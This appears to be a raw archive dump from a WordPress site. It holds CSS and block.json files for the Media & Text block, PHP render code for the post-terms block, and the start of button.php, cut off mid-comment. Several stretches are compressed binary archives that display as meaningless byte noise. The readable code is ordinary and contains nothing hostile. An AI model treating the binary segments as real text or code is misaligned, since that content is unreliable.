1fr;grid-template-rows:auto}.wp-block-media-text.has-media-on-the-right{grid-template-columns:1fr 50%}.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__media{align-self:start}.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__media,.wp-block-media-text>.wp-block-media-text__content,.wp-block-media-text>.wp-block-media-text__media{align-self:center}.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__media{align-self:end}.wp-block-media-text>.wp-block-media-text__media{grid-column:1;grid-row:1;margin:0}.wp-block-media-text>.wp-block-media-text__content{direction:rtl;grid-column:2;grid-row:1;padding:0 8%;word-break:break-word}.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__media{grid-column:2;grid-row:1}.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__content{grid-column:1;grid-row:1}.wp-block-media-text__media a{display:block}.wp-block-media-text__media img,.wp-block-media-text__media video{height:auto;max-width:unset;vertical-align:middle;width:100%}.wp-block-media-text.is-image-fill>.wp-block-media-text__media{background-size:cover;height:100%;min-height:250px}.wp-block-media-text.is-image-fill>.wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill>.wp-block-media-text__media img{height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;clip:rect(0,0,0,0);border:0}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media{height:100%;min-height:250px;position:relative}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media img{height:100%;object-fit:cover;position:absolute;width:100%}@media (max-width:600px){.wp-block-media-text.is-stacked-on-mobile{grid-template-columns:100%!important}.wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__media{grid-column:1;grid-row:1}.wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__content{grid-column:1;grid-row:2}}PK�[d[���7��editor-rtl.cssnu�[���.wp-block-media-text__media{
  position:relative;
}
.wp-block-media-text__media.is-transient img{
  opacity:.3;
}
.wp-block-media-text__media .components-spinner{
  margin-right:-9px;
  margin-top:-9px;
  position:absolute;
  right:50%;
  top:50%;
}

.wp-block-media-text .__resizable_base__{
  grid-column:1 / span 2;
  grid-row:2;
}

.wp-block-media-text .editor-media-container__resizer{
  width:100% !important;
}

.wp-block-media-text.is-image-fill .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill .editor-media-container__resizer,.wp-block-media-text.is-image-fill-element .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill-element .editor-media-container__resizer{
  height:100% !important;
}

.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{
  max-width:unset;
}
.wp-block-media-text--placeholder-image{
  min-height:205px;
}PK�[d[aȕ�U
U

style.min.cssnu�[���.wp-block-media-text{box-sizing:border-box;
  /*!rtl:begin:ignore*/direction:ltr;
  /*!rtl:end:ignore*/display:grid;grid-template-columns:50% 1fr;grid-template-rows:auto}.wp-block-media-text.has-media-on-the-right{grid-template-columns:1fr 50%}.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__media{align-self:start}.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__media,.wp-block-media-text>.wp-block-media-text__content,.wp-block-media-text>.wp-block-media-text__media{align-self:center}.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__media{align-self:end}.wp-block-media-text>.wp-block-media-text__media{
  /*!rtl:begin:ignore*/grid-column:1;grid-row:1;
  /*!rtl:end:ignore*/margin:0}.wp-block-media-text>.wp-block-media-text__content{direction:ltr;
  /*!rtl:begin:ignore*/grid-column:2;grid-row:1;
  /*!rtl:end:ignore*/padding:0 8%;word-break:break-word}.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__media{
  /*!rtl:begin:ignore*/grid-column:2;grid-row:1
  /*!rtl:end:ignore*/}.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__content{
  /*!rtl:begin:ignore*/grid-column:1;grid-row:1
  /*!rtl:end:ignore*/}.wp-block-media-text__media a{display:block}.wp-block-media-text__media img,.wp-block-media-text__media video{height:auto;max-width:unset;vertical-align:middle;width:100%}.wp-block-media-text.is-image-fill>.wp-block-media-text__media{background-size:cover;height:100%;min-height:250px}.wp-block-media-text.is-image-fill>.wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill>.wp-block-media-text__media img{height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;clip:rect(0,0,0,0);border:0}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media{height:100%;min-height:250px;position:relative}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media img{height:100%;object-fit:cover;position:absolute;width:100%}@media (max-width:600px){.wp-block-media-text.is-stacked-on-mobile{grid-template-columns:100%!important}.wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__media{grid-column:1;grid-row:1}.wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__content{grid-column:1;grid-row:2}}PK�[d[��
editor.cssnu�[���.wp-block-media-text__media{
  position:relative;
}
.wp-block-media-text__media.is-transient img{
  opacity:.3;
}
.wp-block-media-text__media .components-spinner{
  left:50%;
  margin-left:-9px;
  margin-top:-9px;
  position:absolute;
  top:50%;
}

.wp-block-media-text .__resizable_base__{
  grid-column:1 / span 2;
  grid-row:2;
}

.wp-block-media-text .editor-media-container__resizer{
  width:100% !important;
}

.wp-block-media-text.is-image-fill .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill .editor-media-container__resizer,.wp-block-media-text.is-image-fill-element .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill-element .editor-media-container__resizer{
  height:100% !important;
}

.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{
  max-width:unset;
}
.wp-block-media-text--placeholder-image{
  min-height:205px;
}PK�[d[ӣ��
block.jsonnu�[���{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/media-text",
	"title": "Media & Text",
	"category": "media",
	"description": "Set media and words side-by-side for a richer layout.",
	"keywords": [ "image", "video" ],
	"textdomain": "default",
	"attributes": {
		"align": {
			"type": "string",
			"default": "none"
		},
		"mediaAlt": {
			"type": "string",
			"source": "attribute",
			"selector": "figure img",
			"attribute": "alt",
			"default": "",
			"role": "content"
		},
		"mediaPosition": {
			"type": "string",
			"default": "left"
		},
		"mediaId": {
			"type": "number",
			"role": "content"
		},
		"mediaUrl": {
			"type": "string",
			"source": "attribute",
			"selector": "figure video,figure img",
			"attribute": "src",
			"role": "content"
		},
		"mediaLink": {
			"type": "string"
		},
		"linkDestination": {
			"type": "string"
		},
		"linkTarget": {
			"type": "string",
			"source": "attribute",
			"selector": "figure a",
			"attribute": "target"
		},
		"href": {
			"type": "string",
			"source": "attribute",
			"selector": "figure a",
			"attribute": "href",
			"role": "content"
		},
		"rel": {
			"type": "string",
			"source": "attribute",
			"selector": "figure a",
			"attribute": "rel"
		},
		"linkClass": {
			"type": "string",
			"source": "attribute",
			"selector": "figure a",
			"attribute": "class"
		},
		"mediaType": {
			"type": "string",
			"role": "content"
		},
		"mediaWidth": {
			"type": "number",
			"default": 50
		},
		"mediaSizeSlug": {
			"type": "string"
		},
		"isStackedOnMobile": {
			"type": "boolean",
			"default": true
		},
		"verticalAlignment": {
			"type": "string"
		},
		"imageFill": {
			"type": "boolean"
		},
		"focalPoint": {
			"type": "object"
		},
		"allowedBlocks": {
			"type": "array"
		},
		"useFeaturedImage": {
			"type": "boolean",
			"default": false
		}
	},
	"usesContext": [ "postId", "postType" ],
	"supports": {
		"anchor": true,
		"align": [ "wide", "full" ],
		"html": false,
		"__experimentalBorder": {
			"color": true,
			"radius": true,
			"style": true,
			"width": true,
			"__experimentalDefaultControls": {
				"color": true,
				"radius": true,
				"style": true,
				"width": true
			}
		},
		"color": {
			"gradients": true,
			"heading": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-media-text-editor",
	"style": "wp-block-media-text"
}
PK�[d[��zCr
r

style-rtl.cssnu�[���.wp-block-media-text{
  box-sizing:border-box;
  direction:ltr;
  display:grid;
  grid-template-columns:50% 1fr;
  grid-template-rows:auto;
}
.wp-block-media-text.has-media-on-the-right{
  grid-template-columns:1fr 50%;
}

.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__media{
  align-self:start;
}

.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__media,.wp-block-media-text>.wp-block-media-text__content,.wp-block-media-text>.wp-block-media-text__media{
  align-self:center;
}

.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__media{
  align-self:end;
}

.wp-block-media-text>.wp-block-media-text__media{
  grid-column:1;
  grid-row:1;
  margin:0;
}

.wp-block-media-text>.wp-block-media-text__content{
  direction:rtl;
  grid-column:2;
  grid-row:1;
  padding:0 8%;
  word-break:break-word;
}

.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__media{
  grid-column:2;
  grid-row:1;
}

.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__content{
  grid-column:1;
  grid-row:1;
}

.wp-block-media-text__media a{
  display:block;
}

.wp-block-media-text__media img,.wp-block-media-text__media video{
  height:auto;
  max-width:unset;
  vertical-align:middle;
  width:100%;
}
.wp-block-media-text.is-image-fill>.wp-block-media-text__media{
  background-size:cover;
  height:100%;
  min-height:250px;
}

.wp-block-media-text.is-image-fill>.wp-block-media-text__media>a{
  display:block;
  height:100%;
}

.wp-block-media-text.is-image-fill>.wp-block-media-text__media img{
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  clip:rect(0, 0, 0, 0);
  border:0;
}
.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media{
  height:100%;
  min-height:250px;
  position:relative;
}

.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media>a{
  display:block;
  height:100%;
}

.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media img{
  height:100%;
  object-fit:cover;
  position:absolute;
  width:100%;
}
@media (max-width:600px){
  .wp-block-media-text.is-stacked-on-mobile{
    grid-template-columns:100% !important;
  }
  .wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__media{
    grid-column:1;
    grid-row:1;
  }
  .wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__content{
    grid-column:1;
    grid-row:2;
  }
}PK�[d[���Gr
r
	style.cssnu�[���.wp-block-media-text{
  box-sizing:border-box;
  direction:ltr;
  display:grid;
  grid-template-columns:50% 1fr;
  grid-template-rows:auto;
}
.wp-block-media-text.has-media-on-the-right{
  grid-template-columns:1fr 50%;
}

.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__media{
  align-self:start;
}

.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__media,.wp-block-media-text>.wp-block-media-text__content,.wp-block-media-text>.wp-block-media-text__media{
  align-self:center;
}

.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__media{
  align-self:end;
}

.wp-block-media-text>.wp-block-media-text__media{
  grid-column:1;
  grid-row:1;
  margin:0;
}

.wp-block-media-text>.wp-block-media-text__content{
  direction:ltr;
  grid-column:2;
  grid-row:1;
  padding:0 8%;
  word-break:break-word;
}

.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__media{
  grid-column:2;
  grid-row:1;
}

.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__content{
  grid-column:1;
  grid-row:1;
}

.wp-block-media-text__media a{
  display:block;
}

.wp-block-media-text__media img,.wp-block-media-text__media video{
  height:auto;
  max-width:unset;
  vertical-align:middle;
  width:100%;
}
.wp-block-media-text.is-image-fill>.wp-block-media-text__media{
  background-size:cover;
  height:100%;
  min-height:250px;
}

.wp-block-media-text.is-image-fill>.wp-block-media-text__media>a{
  display:block;
  height:100%;
}

.wp-block-media-text.is-image-fill>.wp-block-media-text__media img{
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  clip:rect(0, 0, 0, 0);
  border:0;
}
.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media{
  height:100%;
  min-height:250px;
  position:relative;
}

.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media>a{
  display:block;
  height:100%;
}

.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media img{
  height:100%;
  object-fit:cover;
  position:absolute;
  width:100%;
}
@media (max-width:600px){
  .wp-block-media-text.is-stacked-on-mobile{
    grid-template-columns:100% !important;
  }
  .wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__media{
    grid-column:1;
    grid-row:1;
  }
  .wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__content{
    grid-column:1;
    grid-row:2;
  }
}PK�[d[k�4`SSeditor.min.cssnu�[���.wp-block-media-text__media{position:relative}.wp-block-media-text__media.is-transient img{opacity:.3}.wp-block-media-text__media .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.wp-block-media-text .__resizable_base__{grid-column:1/span 2;grid-row:2}.wp-block-media-text .editor-media-container__resizer{width:100%!important}.wp-block-media-text.is-image-fill .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill .editor-media-container__resizer,.wp-block-media-text.is-image-fill-element .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill-element .editor-media-container__resizer{height:100%!important}.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{max-width:unset}.wp-block-media-text--placeholder-image{min-height:205px}PK�[d[�yUUeditor-rtl.min.cssnu�[���PK�[d[�G>o	o	�style-rtl.min.cssnu�[���PK�[d[���7��G
editor-rtl.cssnu�[���PK�[d[aȕ�U
U

 style.min.cssnu�[���PK�[d[��
�editor.cssnu�[���PK�[d[ӣ��
�block.jsonnu�[���PK�[d[��zCr
r

C+style-rtl.cssnu�[���PK�[d[���Gr
r
	�5style.cssnu�[���PK�[d[k�4`SS�@editor.min.cssnu�[���PK		�.D14338/post-template.tar.gz000064400000002613151024420100011142 0ustar00��Y]o�6�+aZ R��M�a+�
(�	��a(���P�FR�]�}��-Y�d'����a]��R$���.���
�xu|�~��;v^u������:*��N��eB"��z���R熲��I����qJ���6w�J�ȿa<��Ϙ�#Ԗ���q�xDh��ž�y�,�sgFB9��u��(�pު�%™P<w�HD̗!д�{��B�q 	K|�f�5�(���8�/�;���1�Q�4��rAw�c�C��7p,ֳz^:�|�����,N��U�f����{m9�;T��>����B��i��շc!�w����Cot��v!�ru�5�pg�����4��;Ñ�*�D���o	 a��L:'�{-�GѸ��ߙ�U��m�%$WK��s%Q�I4���'��v���Cҧx"7I(��$,.��O]�����CLΣ���5O͹�(P��Z{�"�Db�h�&ly� �$�d�V;����O���=>�{��7j���M�o���ϗ����+j
��V�׈�߂%��1���v�p��6���l���D0�1�}˞J�
���x�I���R�,��,��}a(%�c. CdOyc5J�8�,�b ����34Y��M|�_�V	�Ƌ`��8x�\��O�����j�8I�a`�l.va���ja
C%RX���%���`n!K���(�ź��va�@�š`$3$F<���X�[x`�B$JB+B���ːŀ���x�2*uE:�Y�[-[O��P5���u��Iv��,��"�I9�#x�V�z�b���T-U���Gz=L�M�vK/��Ҕq)��R�s�	t���Q�u�Tƴ�з�y��Ҳ'��%�ls9A;lyF�3�Ѳ#�B�^�V�"�m��������}o�P�gtC�ݠ�6�,K��h���X���,�"e@!�.rF��|Ż��/X�=�>@��8�鏇�t�
�=}�aN�%b�x|��{���B]�OXBʸJQ��SVg��+-�q�2�T�Y�(��I������:X���5��vM���g
6�fߦ���)�r���#��OU��7tG��7�G�I��N��td峱9?�GW�%���;mMq�O��mW�J�"�ԫ�=��n��ϝ�;�����g�z����i�sX��Ӷ�j	vU p�
A��hA��$�'W��p�<\�Ȓ.����[�C�)�GA*} ����LV�Z�zM/��6��E#�iu$�^Z��tL�~jYL:&ܠ.��	5�����ݮ՚�9=�ܤ�X�9m�ʓ�rM���J��=w�@�#�T�OW�r�F1�d��U���iR�T�,U�մ�jS��������=����^S��������������'�ߞR���UkS�5�Xc�5�$�'��214338/class-wp-taxonomy.php.php.tar.gz000064400000010763151024420100013332 0ustar00��<ms���*����dJQ�"'�\%U���g�~b���Q�#xQ��$3�������;�@RJ�t��db�n���o��w�X��E%��0�ҕ���E�	���eS�f�(���h�z=M���My��I�̅<L2.���m����\���Cx>;>���<�������G�G��?=��Ǐ~����Fּ��Z��ϟ�}�~��>����:dgϿ=a���v�� ���'W�R��E5�#iT633a^S�`+�O?�>�߇���Ӣ
/k���EQ�4�Eœ�ݤ��i�J���]|�{s�e���뜯��yU�����E��L�p����J��8B�
���u|������ei��Q�d�E�~�b��0̯�\79,�FW"o��lx��Y�5��D:�3�����ɊٿDR�<�e*--�o,/j&E=��K��9($͗�Jk�����)��J�i¬ץ����s��Z\�� �W<�"Gŵk�]�:6���x���O�����d��'�Ϧ]�#%�wy�e�7�o���B�3���L V�H�c� ���Gc��3T{U3��V�:�L6�y���,y�[IJ��)XE�D����2�%�|����*�H��uʉ=>_��r�v|�f�������V}Iw��E�aY�y��!~����Јj�g��3�l[$��5�;�<�-x&�dp�`kA^�1���^}K�Z�_b�����*���0Cz����&�$��ZG<U��h��&=y���!�c��%9u�h��% !�M &ѐEp�5�yLxv�?��iF6�z�"��`�9�N/9�B�wq��"��fd��Ə\���=�h氃�!ڲ\�*�pG���w7���I���Y�]11OkV�\��}�|_L�624Oe��5WRd�*��� ����RHmj(S�,�B�w9A���%01 �A��M��Ȱ�5�o�v���C�찃�b�'3`��������e���������X�\
�=O�ncNSa.�r��blp��=�*q	
���v�Hߜw�R$b��>3Oy�gi�b��)úU��ҥ�C;PXq�:nA�d��l�C�R�]����!k�r��Q*�G[m@.ſs�1�I��͔5��n�B�*:Q�M	�'�۸�4�vL�bc���8s���[��W&�}�͋�X������>m�;H�9��Ҥ��J�u:��e��B�$�.PE��g\�@��a<UL%MP�~\h�&��8�
D��P��,!�V�ʶ1��C�dW�3L=���,Yb�yGnO�0V�K!Ē��O��[3���5��d+b�-��X����S;{	w
&��.̆�9�t��1��=)Ve�>�^(�?�I"$��Ĩ�U�N�~r��b���}@��]���[�fit�>ʹ�=]4�6rE�k��vMB�yddb�ȷ*ڨɬ�T��S�E��"�@]��Td;��%��
�P��zt�+��J���+���:��uqSư��l��x4�hy��.0�Y�����<���#v����F��,D
��)zz9�%B)n�݈��x �0��.H�!PÊx��>)Kd�X.-�����̣�g}��>d�O����DH��4�P7;nҁ�5&$i�%9�z�$��D��l�l]��3��#�t�F�J�/hU�,���W|e��ܷv	�۰�����,�6@��#�,9vMS�`t��O�܎�[w���܀�Ԧ��k���T��,ͳ6$e䊓��(��r����j�E�}��Hä9bU�k��oL�b��ʄF��&��'��u�1�w]�������h�f�ĞR���O���;�B�Nl+m��7��w��c�V<�{�S��s�0ч\���6�(�j�C>������֨B���i��vc�$����;����R��4?ê��V���0�5���Im3'�h�4���u�Pj���.�f�5��<a#��gi��ڬ��}�nր5T���er꜈��PHT��������	�_���
���煔)��Eq�E�IO0v�.����/��$�����,^�p|��_����u�d�z����_���N�{�:Y����Xo�s�,����!Dԥp`�S�H�`
�`�Ӌ�ã�����<Dn�=�c{����MG��=��z-[K�Y��H���gF������Ԫ[t9�J�m�����_�k%n/hP��?ӣ���hP��u���u�P ��l�C��SE=ːvW7i۬.����r�2��I��!���j�j5^�!(]�q�NOO�7!=�9��&���rcJ�Z�����9{� R�|"��w}��4gD-�]�KB���:��g�ox�:^�֙���Ϲ\
�cv�+��>j��_�
�R��@gj��V�N�)C\��r7�:5(�C��ˊgi~�����ƭ�{�ٶ+>E^���?�$=:�:���x~���W\^E։�y?���o���<DI�*�QOoTC̱��d��Q�/�f��:f;>썷`à�̇�`�р>މ�������N��6�!�\��mr�˙�e䵳b�lfHb����7q�<�>b���)`���XŵS7�y����;���H�Aq�"�&���}nH�:y4ݖ�I�2=��/��T
��2pl#�\d��	'd5�e�B,���T��䐖7RU�8�d�"'�}�M(������0DK�)G��"��)�`�MUK�n�
?c?�̀�)���.ho��%
��`T ��
@4�9�Q�S�^�V�^���^~�d�ug�fWR�W{�b.J��%+Ա�5�jA{Lm��[gXI��e+Ƞ��<��ډ��7���7'K�\� ���pV	~�v~�_ꊸ6�_��4/���D'0��
tZ��n��j�n�1�o�����M3'�Xԅ�ub�|�@
��������ЌבpfL֧%;�ଢ଼�-���5��U�gD�����u�����e��d��J�.<k]Aڂ�=b8��Uk2x��W|u�ʪ&j�o8*�̊�����Mɞ6U%�p�D~�Bj��3{0?ԙ��y��������=,'"��t�	i�l��^�u
sZ���i���;�͕u�^j�RB��f
Ȗ�My��������Fnt�sk,�Q)�ޭ^��#5���5M�[����v)3�柇�09]}Ԉ����[�0<��Kv����{��3vy�`z�q�U�A�$��\�ipZ�vݪ0{���S�V��MߋUq-�EǍ&��~�U��޿*b�g��Zo�3�x�����<��gD��/���0Vs����C�-HCр)���~���:7V;f�u>��h
�F�ˋIA|�Dl�z;ӱ�޺S�=6��@��]�����7:Gw�@n��֮�5^z,�l�=�N�ˆڿ]���*p�` �8�]Y_}R���؜�{ѭ��l<�&��Pk���݁P�N̵�4��y(@ﰑ�t�h�5���u/Z��
d�%,�#�t���O��^bu�����^4�@,ނ/b��0�7��&²��׋�yuИ�����:�aw����@0�GC�A����XY/J ���h�:��<�U�����^�_���g��o��
I�lqr�D�+� Tk��c"���m���1D6s+�>�B��5m*��ES1	��4�=f#��=����>AP��'�߂�W�w��
9�C���ȹ8�\Lٷꖺ���Dz�FT��j�`=*f��=mֲ��_f�.��Չ��6H?\k�Ϩ��8S��n*��*+�t�~�����i���?NH��-_��s���q����$ƾJ/�W��2�M����%�g�o#���X�T��N�,V��կ�Z��ZQ�a��}^��?��Eu�y�tW�6�7wS8���i�
3}n�����Wq��>}�y5L�֒���;�tȣ�^(#)1g�Ys��,JZYy�s�"��V��3��s�[�� ���S�����L��^ͣ�s+� *��]��Չ�+Ƣ��h7�����0�dh�#� ���c�sOeV�`��	����A�l��n}�����:7;"���Hi$�T���b�����h�X1���]���}�8@i�m	f��Z?]_m�>sd`��P�7��(�:�M�T�Q?T)PU���[@E�2ȏ2!�]7*��P�J�����W�
���TDAlO	T}I~RJ��E3l��h�v�zV�e�ԑm���};�Rh��v�0�����x�Y00�;���'}�Rz�/n���tqP�;����v?��%2Dm�D���VW<���J����R�9��%�݊�H�x�A߲���^�5�1)�_D�
A)+0��MՈ���.v���.^=a+0��wbo*�%S�&�P���C�;��ࡇ���YV$W�.vD������.{�
)�ޙ‡���L��y�\f]�!n�g�o)���R��M“e�e�_ו�%a���E��l]������ч������>����P14338/rss.tar.gz000064400000002411151024420100007147 0ustar00��Z]o�6�k�+aZ r�a+�떽{h��C@K�̅�J��ﻤlY�;Mkgmu��%�%E�^^��Tqa�)���g_ v�5��9s���
��`w� ��Oe�TX������cn���m!%b�b�������4c4#�F��;h�Ȕ��{�E����,/�b��,t��p�x�]������S"��X$4�Q��fI�,_{��5H5g��(�]���߹�
�.�O��5¯�M2F&jQ�-h2U�G��ή�y�W�vv��N�����H؏���l�N�uF@rI��F�4V��u�7˟SS���V�Ks�8��ݢ�1�H3i{�g�3�,z;t� [{}�5�5�oQ|��k$ZDox�2lSO/hQܠ�*b;�SER�򔋋]My1fTN�+R=?�i4ᙲ%�H���7���L�c>������/����t�	3��.��*�F�'�����n�߻��	��!Ԕ��޲�lnJp�kK
�.�҄��:��k/�W
�����4^��ܠ��S�k�+���N�u��ËQ�#&���`�;]�?:��}�,u�_ɳ�q ���߮�C�{n�'��wn� �)I�"k�T.����"!�\$�J��f�X@�9��I�2D��d8%�K����5�U�X?��CJ"�b�m�T�ʎ1����*Z�e�A$S��&��gs~轂�	!q߰��D������h] K�[�32S1O15�c2�S�(a\(�ɰ 0�RM�.�;��-dE:&B���+!��z���Y�<��"K%K�ȖDV�A��7�fo�Z��?��?>w�Ê����""��9gg[&�I�v�ި���q
��Hy7$K���+a��g\X��s.T��I. �b�R��\�L�#E��WcF���?����vQ����rx����_�F��Ǵ��QͶ4뺱�߰e�H�8һg�|�6x�wi�֜�u�X����U�Q�VRc�t��泾�r6c�'�Y�]lÐ�%��4��}�~W��Ե��Ű��.�L��],P%���O���W�8�_��	�t���ڛ���{�@ƺ����Վ��:�*B-���']�j_
�uS��,AϽ5"h_�j�� �=t�]4:�d��ɦ�t�>�I�-����R�d���I��ڞ(KLzS��LۇF��]l��v��;7�Q��Z�yI������������.��Ū��/�?���Ε���t���СC���䔫X414338/post-terms.php.tar000064400000013000151024420100010620 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/post-terms.php000064400000007070151024256460025470 0ustar00<?php
/**
 * Server-side rendering of the `core/post-terms` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/post-terms` block on the server.
 *
 * @since 5.8.0
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 * @return string Returns the filtered post terms for the current post wrapped inside "a" tags.
 */
function render_block_core_post_terms( $attributes, $content, $block ) {
	if ( ! isset( $block->context['postId'] ) || ! isset( $attributes['term'] ) ) {
		return '';
	}

	if ( ! is_taxonomy_viewable( $attributes['term'] ) ) {
		return '';
	}

	$classes = array( 'taxonomy-' . $attributes['term'] );
	if ( isset( $attributes['textAlign'] ) ) {
		$classes[] = 'has-text-align-' . $attributes['textAlign'];
	}
	if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
		$classes[] = 'has-link-color';
	}

	$separator = empty( $attributes['separator'] ) ? ' ' : $attributes['separator'];

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );

	$prefix = "<div $wrapper_attributes>";
	if ( isset( $attributes['prefix'] ) && $attributes['prefix'] ) {
		$prefix .= '<span class="wp-block-post-terms__prefix">' . $attributes['prefix'] . '</span>';
	}

	$suffix = '</div>';
	if ( isset( $attributes['suffix'] ) && $attributes['suffix'] ) {
		$suffix = '<span class="wp-block-post-terms__suffix">' . $attributes['suffix'] . '</span>' . $suffix;
	}

	$post_terms = get_the_term_list(
		$block->context['postId'],
		$attributes['term'],
		wp_kses_post( $prefix ),
		'<span class="wp-block-post-terms__separator">' . esc_html( $separator ) . '</span>',
		wp_kses_post( $suffix )
	);

	if ( is_wp_error( $post_terms ) || empty( $post_terms ) ) {
		return '';
	}

	return $post_terms;
}

/**
 * Returns the available variations for the `core/post-terms` block.
 *
 * @since 6.5.0
 *
 * @return array The available variations for the block.
 */
function block_core_post_terms_build_variations() {
	$taxonomies = get_taxonomies(
		array(
			'publicly_queryable' => true,
			'show_in_rest'       => true,
		),
		'objects'
	);

	// Split the available taxonomies to `built_in` and custom ones,
	// in order to prioritize the `built_in` taxonomies at the
	// search results.
	$built_ins         = array();
	$custom_variations = array();

	// Create and register the eligible taxonomies variations.
	foreach ( $taxonomies as $taxonomy ) {
		$variation = array(
			'name'        => $taxonomy->name,
			'title'       => $taxonomy->label,
			'description' => sprintf(
				/* translators: %s: taxonomy's label */
				__( 'Display a list of assigned terms from the taxonomy: %s' ),
				$taxonomy->label
			),
			'attributes'  => array(
				'term' => $taxonomy->name,
			),
			'isActive'    => array( 'term' ),
			'scope'       => array( 'inserter', 'transform' ),
		);
		// Set the category variation as the default one.
		if ( 'category' === $taxonomy->name ) {
			$variation['isDefault'] = true;
		}
		if ( $taxonomy->_builtin ) {
			$built_ins[] = $variation;
		} else {
			$custom_variations[] = $variation;
		}
	}

	return array_merge( $built_ins, $custom_variations );
}

/**
 * Registers the `core/post-terms` block on the server.
 *
 * @since 5.8.0
 */
function register_block_core_post_terms() {
	register_block_type_from_metadata(
		__DIR__ . '/post-terms',
		array(
			'render_callback'    => 'render_block_core_post_terms',
			'variation_callback' => 'block_core_post_terms_build_variations',
		)
	);
}
add_action( 'init', 'register_block_core_post_terms' );
14338/button.php.tar000064400000007000151024420100010021 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/button.php000064400000003415151024246550024664 0ustar00<?php
/**
 * Server-side rendering of the `core/button` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/button` block on the server,
 *
 * @since 6.6.0
 *
 * @param array    $attributes The block attributes.
 * @param string   $content    The block content.
 * @param WP_Block $block      The block object.
 *
 * @return string The block content.
 */
function render_block_core_button( $attributes, $content ) {
	$p = new WP_HTML_Tag_Processor( $content );

	/*
	 * The button block can render an `<a>` or `<button>` and also has a
	 * `<div>` wrapper. Find the a or button tag.
